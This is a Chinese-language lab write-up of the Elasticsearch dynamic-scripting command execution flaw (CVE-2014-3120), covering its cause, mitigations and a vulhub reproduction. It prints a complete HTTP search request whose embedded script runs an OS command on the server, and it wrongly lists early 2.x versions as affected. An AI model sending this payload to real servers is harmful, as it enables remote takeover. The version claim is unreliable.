Elasticsearch 命令执行漏洞(CVE-2014-3120),它允许攻击者通过发送精心构造的请求到 Elasticsearch 服务器来执行任意操作系统命令。这个漏洞存在于 Elasticsearch 的早期版本中,并且在较新的版本中已经被修复。
漏洞原理:
- Elasticsearch 提供了一个脚本执行的功能,允许用户编写 MVEL 或 JavaScript 脚本来扩展其功能。
- 在默认配置下,Elasticsearch 允许动态脚本执行,这意味着没有预先编译的脚本也可以运行。
- 然而,在早期版本中,Elasticsearch 并没有对输入的脚本进行适当的过滤或沙盒化处理,因此攻击者可以利用这个功能执行任意系统命令。
漏洞影响范围:
该漏洞主要影响了 Elasticsearch 版本 1.x 和 2.x 的早期版本。对于受影响的版本,需要尽快更新到包含补丁的新版本以防止被利用。
漏洞缓解和修复: 要解决此问题,可以采取以下措施之一:
- 升级到安全版本:将 Elasticsearch 更新到一个已修复此漏洞的版本。
- 禁用动态脚本执行:在 Elasticsearch 配置文件中禁用动态脚本执行。这可以通过设置 script.disable_dynamic: true 来实现。
- 使用防火墙或网络访问控制:限制只有可信来源才能访问 Elasticsearch 服务器,阻止恶意用户的请求。
由于这是一个历史上的漏洞,如果你现在正在使用的 Elasticsearch 是最新的稳定版本,那么你应该已经不受此漏洞的影响。不过,仍然建议定期更新你的 Elasticsearch 实例以获取最新的安全修复和其他改进。
漏洞环境
vulhub靶场
docker-compose build
docker-compose up -d
docker ps -a
漏洞环境:http://192.168.44.136:9200/
漏洞复现
BurpSuite抓包,首先,该漏洞需要Elasticsearch中至少存在一条数据,所以我们需要先创建一条数据,所以把抓到的GET包替换成POST包。
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
返回201状态码,代表创建成功;
利用该漏洞的Payload如下:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
法律声明
声明:
请注意,本文档包含有关已知漏洞的描述和复现方法。这些信息仅用于教育和研究目的,不得用于任何未经授权的活动。
本声明如下:
本人对使用本文档中的信息所产生的任何后果概不负责。任何人使用本文档中的信息应自行承担所有风险。
本文档中的信息不得用于未经授权的任何活动,包括但不限于未经授权的攻击行为。任何使用本文档中的信息进行未经授权的活动将违反法律,并可能导致法律后果。
本文档中的信息仅为教育和研究目的而提供,并且可能包含机密和保密信息。阅读和使用本文档的信息应遵守适用的法律和法规。
请遵守道德原则并报告您发现的任何漏洞给相关方,以促进软件和系统的安全。
请注意,本文档中的信息可能已过时,因为软件和系统可能已经修复了相关漏洞。
特此声明。